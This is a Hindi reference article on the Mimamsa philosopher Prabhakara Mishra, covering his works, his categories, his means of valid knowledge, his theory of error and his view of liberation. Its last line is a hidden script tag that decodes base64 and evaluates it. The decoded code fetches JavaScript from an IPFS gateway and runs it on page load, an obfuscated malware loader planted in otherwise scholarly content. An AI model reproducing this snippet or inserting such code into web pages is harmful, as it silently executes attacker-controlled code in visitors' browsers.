प्रभाकर मिश्र
प्रभाकर मिश्र एक महान् दार्शनिक, जिसे अनेक विद्वानों ने अपने मतानुसार कुमारिल भट्ट का शिष्य स्वीकार किया है। इनका समय ई. 7वीं शती है। प्रभाकर मिश्र मीमांसा क्षेत्र में 'गुरुमत' के संस्थापक हैं। इनके गुरु कुमारिल भट्ट ने इन्हें 'गुरु' की उपाधि से अलंकृत किया था। प्रभाकर मिश्र ने अपनी दो महत्त्वपूर्ण टीकाओं की भी रचना की हैं।
परिचय एवं ग्रन्थ
मीमांसा के गुरुमत के संस्थापक प्रभाकर मिश्र या प्रभाकर शबर भाष्य पर अत्यन्त महत्त्वपूर्ण एवं स्वतंत्र व्याख्या लिखने वाले अद्वितीय विद्वान् हैं। इनके जीवनवृत्त और काल के विषय में विचारकों में एकमत नहीं है। इनको गुरु नाम से भी जाना जाता है। प्राचीन परम्परा में इन्हें कुमारिल भट्ट का शिष्य माना गया है, किन्तु कुछ विद्वानों की राय है कि ये कुमारिल से भी प्राचीन हैं तथा मीमांसा के एक नवीन सम्प्रदाय के संस्थापक हैं। भाट्टमत और गुरुमत में अनेक मौलिक भेद हैं।
ग्रन्थ
प्रभाकर ने शबर भाष्य पर दो टिकाएं लिखी हैं-
- बृहती या निबन्धन- यह शबर भाष्य की व्याख्या है और वास्तविक अर्थ में इसे टीका कहा जा सकता है, क्योंकि इसमें सर्वत्र भाष्य की व्याख्या ही की गई है, कहीं भी उसकी आलोचना नहीं की गई है।
- लघ्वी या विवरण- यह ग्रन्थ प्रकाशित नहीं है। माधव सरस्वती के सर्वदर्शनकौमुदी के अनुसार लघ्वी में 6000 श्लोक हैं और बृहती में 12000 श्लोक। इन दोनों ग्रन्थों पर शानिकनाथ मिश्र ने टीकाएं (पंचिका) लिखकर गुरुमत की पुष्टि की है। ऋजुविमलापंचिका बृहती की टीका है और दीपशिखापंचिका लघ्वी की टीका है। शालिकनाथ ने उक्त दो पंचिकाओं से अलग प्रकरणपंचिका नामक एक स्वतंत्र ग्रन्थ लिखकर प्रभाकर के मत का प्रतिपादन किया है।
उपाधि तथा टीका रचना
प्रभाकर मिश्र की आलोकिक कल्पना शक्ति पर मोहित होकर इनके गुरु कुमारिल भट्ट ने इन्हें ‘गुरु’ की उपाधि से गौरवान्वित किया। तब से इनका उल्लेख ‘गुरु’ के ही नाम से होने लगा। भारतीय दर्शन के इतिहास में मिश्र जी का शुभ नाम एक देदीप्यमान रूप में अंकित है। अपने स्वतंत्र मत की प्रतिष्ठापना करने हेतु, इन्होंने ‘शाबरभाष्य’ पर बृहती अथवा निबन्धन तथा लघ्वी अथवा विवरण नामक दो टीकाएँ भी लिखी हैं। उनमें से बृहती प्रकाशित हो चुकी है। अपनी अमोघ विचार शक्ति के बल पर मिश्र जी ने मीमांसा दर्शन को विचार शास्त्र बनाने में सहायती की, और दर्शन पर स्थापित कुमारिल भट्ट के एकाधिपत्य को दूर किया।
विद्वान् मतभेद
कप्पुस्वामी शास्त्री ने प्रभाकर मिश्र का काल सन् 610-690 के बीच तथा कुमारिल भट्ट का काल सन् 600 से 660 के बीच निश्चित किया है। प्रोफ़ेसर कीथ वा डॉक्टर गंगानाथ झा के मतानुसार मिश्र जी सन् 600 से 650 के बीच हुए तथा कुमारिल भट्ट उनसे कुछ काल के उपरान्त हुए। इन विद्वानों का मत है कि मिश्र जी के ग्रन्थों के अनुशीलन से वे भट्ट जी से प्राचीन प्रतीत होते हैं।[1]
गुरुमत के आचार्य
इस मत के समर्थक अनेक आचार्य हैं, जिनमें शालिकनाथ मिश्र, भवनाथ, रन्तिदेव, वरदराज, शंकर मिश्र, दामोदर तथा नन्दीश्वर का नाम विशेष उल्लेखनीय है। इन आचार्यों ने टीका, टिप्पणी और स्वतंत्र ग्रन्थ लिखकर गुरुमत का समर्थन, प्रचार एवं प्रसार किया है।
तत्व विचार
न्याय वैशेषिक दर्शन के समान प्रभाकर भी जगत् की सत्ता को वास्तविक तथा इन्द्रिय द्वारा गम्य मानते हैं। तत्व विचार की पुष्टि से प्रभाकर भी अनेकतत्ववादी, वास्तववादी एवं व्यावहारवादी कहे जा सकते हैं। प्रभाकर आठ पदार्थों की सत्ता मानते हैं- द्रव्य, गुण, कर्म, सामान्य, समवाय (परतंत्रता), शक्ति सादृश्य एवं संख्या। इनमें द्रव्य, गुण और कर्म का लक्षण एवं भेद प्राय: वैशेषिक दर्शन के समान है। सामान्य (अथवा जाति) की सत्ता व्यक्तियों से पृथक् नहीं मानी जा सकती है। वह व्यक्तियों में ही रहता है। परतत्रंता वैशेषिक दर्शन का समवाय है। यह जाति और व्यक्ति के बीच विद्यमान सम्बन्ध है। यह नित्य नहीं है, क्योंकि अनित्य पदार्थों में भी रहता है। शक्ति भी एक स्वतंत्र पदार्थ है, जैसे- अग्नि की दाहकता, जिसके रहने पर अग्नि दहन करती है और जिसके अवरुद्ध हो जाने पर अग्नि दाह नहीं कर पाती। इस तरह द्रव्य, गुण, कर्म आदि से कार्य उत्पन्न करने की शक्ति है, जो एक स्वतंत्र पदार्थ है। इसी प्रकार सादृश्य और संख्या को भी प्रभाकर ने स्वतंत्र पदार्थ माना है। वैशेषिक दर्शन में शक्ति प्रतिबन्धकाभाव रूप है और सादृश्य एवं संख्या गुण के अंतर्गत आ जाते हैं।
द्रव्य
गुण और क्रिया का आश्रय द्रव्य है। वैशेषिक दर्शन में केवल तीन द्रव्य 'पृथ्वी, जल और अग्नि' को ही प्रत्यक्ष माना जाता है, किन्तु प्रभाकर पृथ्वी, जल और अग्नि के साथ वायु का भी प्रत्यक्ष मानते हैं। उनका कहना है कि शीत और उष्ण स्पर्श में भेद रहने पर भी 'यह वही वायु है', इस प्रकार की प्रत्याभिज्ञा होती है। अत: वायु का साक्षात् प्रत्यक्ष होता है। वैशेषिक दर्शन शरीर की उत्पत्ति में समस्त भूत द्रव्यों को कारण मानता है। किन्तु प्रभाकर के अनुसार केवल पृथ्वी से ही भौतिक शरीर उत्पन्न होता है। अन्य भूतों का शरीर में सर्वथा अभाव रहता है। वैशेषिक दर्शन में शरीर में चार प्रकार भेद माने जाते हैं। उनमें से प्रभाकर केवल तीन 'जरायुज, अण्डज और स्वेदज' को ही शरीर मानते हैं। इनके अनुसार उद्भिज्ज (जैसे पेड़-पौधे) को शरीर मानना उचित नहीं है, क्योंकि भोग (सुख-दु:ख की अनुभूति) केवल तीन शरीरों में ही होता है। अत: इन्हीं को शरीर माना जा सकता है। उद्भिज्ज में भोग नहीं होता, अत: इसे शरीर कहना ठीक नहीं है। वैशेषिक में आत्मा का मानव प्रत्यक्ष माना जाता है, किन्तु प्रभाकर का कहना है कि आत्मा ज्ञानाश्रय है, उसका मानव प्रत्यक्ष विषय के रूप में स्वीकार करना उचित नहीं है। त्रिपुटि प्रत्यक्ष में ज्ञाता के रूप में उसका प्रत्यक्ष हो जाता है। प्रभाकर कुमारिल के मत के अन्धकार को द्रव्य नहीं मानते हैं।
प्रमाण
प्रभाकर के अनुसार संवित या ज्ञान दो प्रकार के होते हैं- स्मृति और अनुभूति। स्मृति केवल संस्कार से उत्पन्न ज्ञान है। स्मृति से भिन्न संवित् (ज्ञान) अनुभूति है। अनुभूति ही प्राण है। स्मृति यथार्थ ज्ञान होने पर भी प्रमाण नहीं है, क्योंकि प्रमाण ज्ञान होने के लिए विषय को अज्ञात होना आवश्यक है। स्मृति का विषय पहले से ज्ञात रहता है।
प्रमाणभेद
प्रमाण पांच प्रकार का है- प्रत्यक्ष, अनुमान, शब्द, उपमान और अर्थापत्ति।
प्रत्यक्ष
साक्षात् उत्पन्न ज्ञान को प्रत्यक्ष कहते हैं। प्रत्येक प्रत्यक्ष ज्ञान में प्रमाता, प्रमेय और प्रमा इन तीनों का भान होता है। जब हम कहते हैं कि 'हम घोड़े को जानते हैं', तब हमें इससे तीन अंश दीखते हैं- 'हम', 'घोड़ा' और 'ज्ञान'। इसमें हम प्रमाता है, घोड़ा प्रमेय है और जानना प्रमा है। प्रतीति प्रमेय और प्रमाता से भिन्न होती है, किन्तु प्रमा से भिन्न नहीं होती। प्रमा स्वयं प्रकाशस्वरूप है। प्रमेय और प्रमाता की प्रतीति एक तरह की है। इनकी प्रतीति के लिए प्रकाश की अपेक्षा होती है। प्रतीति या ज्ञान स्वयंप्रकाश है। वही प्रमेय और प्रमाता को भी प्रकाशित करती है। इन्द्रिय तथा विषय के साक्षात् सम्बन्ध (सन्निकर्ष) से प्रत्यक्ष ज्ञान होता है। प्रत्यक्ष ज्ञान के लिए इन्द्रिय और विषय में सम्बन्ध दो प्रकार से होता है- ज्ञान के विषयों के साथ इन्द्रिय के संयोग से, विषय में संयुक्त के साथ समवाय तथा समवेत समवाय से। इस प्रकार प्रभाकर के मत से सन्निकर्ष तीन प्रकार के हो जाते हैं। संयोग, संयुक्त समवाय और समवाय। प्रत्यक्ष की प्रक्रिया में चार सन्निकर्ष होते हैं- इन्द्रिय का विषय के साथ, द्रव्य के गुणों के साथ इन्द्रिय का, इन्द्रिय का मन के साथ और मन का आत्मा के साथ। सुख-दु:ख और इसी प्रकार के अन्य आत्म गुणों के प्रत्यक्ष में केवल दो ही सन्निकर्ष होते हैं- सुख-दु:ख का मन के साथ और मन का आत्मा के साथ। प्रत्यक्ष के विषय को तीन वर्गों में रखा गया है-
- द्रव्य
- सामान्य
- गुण
प्रभाकर भी प्रभाकर के निर्विकल्पक और सविकल्पक दो भेद स्वीकार करते हैं। किन्तु प्रभाकर के अनुसार निर्विकल्पक प्रत्यक्ष में व्यक्ति और सामान्य विशेषत: दोनों की प्रतीति सी होती है, परन्तु अन्य से भेद का बोध नहीं हो पाता, जो कि व्यक्ति के विशिष्ट बोध के लिए आवश्यक होता है। सविकल्पक प्रत्यक्ष में व्यक्ति, सामान्य विशेषता और अन्य से भेद का ज्ञान होने के कारण विशिष्ट बोध सम्भव हो जाता है।
अनुमान
कुमारिल के समान प्रभाकर भी अनुमान को प्रमाण मानते हैं। यह साध्य और हेतु के नित्य, अनिवार्य एवं सार्वभौम सम्बन्ध पर आधारित होता है। इस सम्बन्ध की स्थापना कारण एवं कार्य में सम्पूर्ण्? एवं अंश में, द्रव्य और गुण में तथा एक ही द्रव्य में विद्यमान गुणी में की जा सकती है। इनके मत में भी अवयव वाक्य तीन ही होते हैं- उदाहरण, उपनय और निगमन अथवा उदाहरण, हेतु और निगमन (या प्रतिज्ञा)।
शब्द
शब्द के विज्ञान से परोक्षभूत विषय के ज्ञान को शब्द प्रमाण कहा जाता है। अर्थात् जब शब्द के विज्ञान से आत्मा के सन्निकर्ष के द्वारा अदृश्य विषय का ज्ञान प्राप्त होता है, तब उसे शब्द प्रमाण कहते हैं। प्रभाकर के अनुसार यथार्थ शब्द ज्ञान केवल वेद वाक्यों में भी वही प्रमाण हैं, जो विध्यर्थक हैं, जैसे- 'स्वर्ग की कामना करने वाला पुरुष यज्ञ करे'। शब्द के सम्बन्ध में प्रभाकर के मत की स्पष्ट समझने के लिए यह आवश्यक है कि शब्द और ध्वनि का भेद स्पष्ट कर लिया जाये। जो कान को सुनाई पड़ता है, वह ध्वनि है। वह नित्य शब्द का प्रतीक या संकेत है। ध्वनि अनित्य है। इसके द्वारा नित्य शब्द को अभिव्यक्त किया जाता है। दस बार 'घड़ा' के उच्चारण से दस ध्वनियां उत्पन्न होती हैं, किन्तु एक ही शब्द अभिव्यक्त होता है। इससे यह स्पष्ट हो जाता है कि ध्वनि अनित्य है, वह उत्पन्न होती है और नष्ट हो जाती है। किन्तु शब्द नित्य है, जो विभिन्न ध्वनियों से अभिव्यक्त होता है। शब्द के साथ अर्थ का सम्बन्ध भी नित्य है। वेद वाक्य अपौरुषेय होने के कारण नित्य निर्दोष एवं स्वत: प्रमाण है।
उपमान
सादृश्य के द्वारा विषय के ज्ञान को उपमान कहते हैं। जैसे- गाय को जानने वाला मनुष्य जब गवय को देखता है, तब गवय के प्रत्यक्ष ज्ञान से सादृश्य के द्वारा प्रत्यक्ष रूप में अविद्यमान गाय का ज्ञान भी उसे हो जाता है। इसी ज्ञान को 'उपमान कहते हैं। गवय या नीलगाय के प्रत्यक्ष होने पर उसमें गाय का सादृश्य प्रत्यक्ष होता है और गाय में नीलगाय के सादृश्य का, उपमान से ज्ञान होता है।
अर्थापत्ति
इसके स्वरूप के सम्बन्ध में zप्रभाकर का मत अधिकांश में कुमारिल के मत के समान है। किन्तु प्रभाकर का कहना है कि किसी भी प्रमाण से ज्ञात विषय की उपपत्ति के लिए अर्थापत्ति हो सकती है। केवल दृष्ट और श्रुत से ही अर्थापत्ति मानना युक्तिसंगत नहीं है। जो अर्थापत्ति से ज्ञात होता है, वह साधारणतया प्रत्यक्ष, अनुमान आदि प्रमाणों से सिद्ध नहीं हो पाता। अत: अर्थापत्ति को स्वतंत्र प्रमाण माना गया है।
स्वत:प्रामाण्यवाद
प्रभाकर के अनुसार सभी ज्ञान यथार्थ है तथा स्वत: प्रकाश है। यदि ज्ञान अपने ज्ञान के लिए अन्य ज्ञान पर आश्रित होगा तो ज्ञान का ज्ञान कभी भी नहीं हो सकेगा और अनवस्था दोष आ जायेगा। अत: ज्ञान को स्वत: प्रकाश मानना ही युक्ति संगत है। ज्ञान को मिथ्या मानना वदतोव्याघात है, क्योंकि या तो ज्ञान नहीं रहेगा और यदि रहेगा तो यथार्थ रहेगा, मिथ्या हो ही नहीं सकता। प्रभाकर के मत में ज्ञान के स्वत: प्रामाण्य का तात्पर्य यह है कि जब ज्ञान उत्पन्न होता है, तब उस ज्ञान की सामग्रियों से ही ज्ञान में प्रमाण्य या सत्यता उत्पन्न होती है। वह कहीं बाहर से नहीं आती। अत: प्रामाण्य अपनी उत्पत्ति की दृष्टि से भी स्वत: है। ज्ञान जब उत्पन्न होता है, तब उस ज्ञान का और उसके प्रामाण्य का ज्ञान भी उसी ज्ञान से हो जाता है। अत: ज्ञान के प्रमाण्य का ज्ञान भी स्वत: हो जाता है। ज्ञान की स्वप्रकाशता और अनिवार्य यथार्थता को मानने के कारण प्रभाकर स्पष्ट रूप से स्वत: प्रामाण्य का समर्थन करते हैं।
भ्रम
प्रभाकर के अनुसार सभी ज्ञान यथार्थ होते हैं। अत: भ्रम ज्ञान कहना युक्ति संगत नहीं है। जहाँ तक रस्सी को सांप समझने और सीप को चांदी समझने का प्रश्न है, जिसे लोग भ्रम ज्ञान मानते हैं, वास्तव में यह कोई एक ज्ञान नहीं है। दो आंशिक किन्तु यथार्थ ज्ञान में भेद का ज्ञान न होने से उसे भ्रान्ति समझ लिया जाता है। अर्थात् यह 'यह सर्प है' या 'यह चांदी है', इस ज्ञान में दो अंश हैं- 'यह' और 'सर्प' अथवा 'चांदी'। इसमें यह अंश प्रत्यक्ष दीख पड़ता है किन्तु इसमें रस्सीपन या चांदीपन नहीं ज्ञात होता। उसी प्रकार सर्प या चांदी का ज्ञान स्मरण द्वारा होता है, किन्तु उसमें पूर्वदेश और पूर्वाकाल के ज्ञान का अभाव रहता है। ये दोनों ज्ञान सत्य एवं यथार्थ हैं, किन्तु आंशिक हैं। इनमें विवेक या भेद का अज्ञान रहता है, अत: लोग इसे भ्रम मान लेते हैं। वास्तव में इनमें भेद है और दोनों अलग अलग आंशिक सत्य ज्ञान हैं। इस मत को विवेकाग्रह (भेद का अभाव) अथवा अख्याति कहा जाता है।
कर्म एवं बन्धन मोक्ष
प्रभाकर के अनुसार वेद विहित कर्मों को कर्तव्यबृद्धि से ही करना चाहिए। उनसे न सुख पाने की इच्छा रखनी चाहिए और न ही फल पाने की इच्छा। काम्य कर्मों में फल का निर्देश सच्चे अधिकारी की परीक्षा करने मात्र के लिए है। नित्य कर्म वेद विहित होने के कारण ही अनुष्ठेय है। अत: वेद की आज्ञा को अनुलंघनीय मानकर इनका अनुष्ठान करना चाहिए। मोक्ष की प्राप्ति पुण्य और पाप की समाप्ति से सम्भव है, क्योंकि इन्हीं के कारण प्राणियों को जन्म लेना पड़ता है और शरीर, इन्द्रिय, बुद्धि और भोग सामग्रियों से सम्बन्ध होता है, जिसे बन्धन कहते हैं। जब पुण्य और पाप समाप्त हो जाता है, तब भोग के कारण के समाप्त होने से आत्मा को शरीर आदि भोगायतन और भोग सामग्री के सम्बन्ध से सदा के लिए छुटकारा मिल जाता है। इसे ही मोक्ष कहा जाता है। मोक्ष का साधन निष्काम कर्मयोग है। अर्थात् समस्त कर्मों को फल की इच्छा से रहित होकर करते रहने से मोक्ष प्राप्त होता है। इसे ही विनियोग सिद्धि कहा जाता है और विनियोग सिद्धि ही मोक्ष है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
भारतीय संस्कृति कोश, भाग-2 |प्रकाशक: यूनिवर्सिटी पब्लिकेशन, नई दिल्ली-110002 |संपादन: प्रोफ़ेसर देवेन्द्र मिश्र |पृष्ठ संख्या: 515 |
- ↑ सं.वा.को. (द्वितीय खण्ड), पृष्ठ 377
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>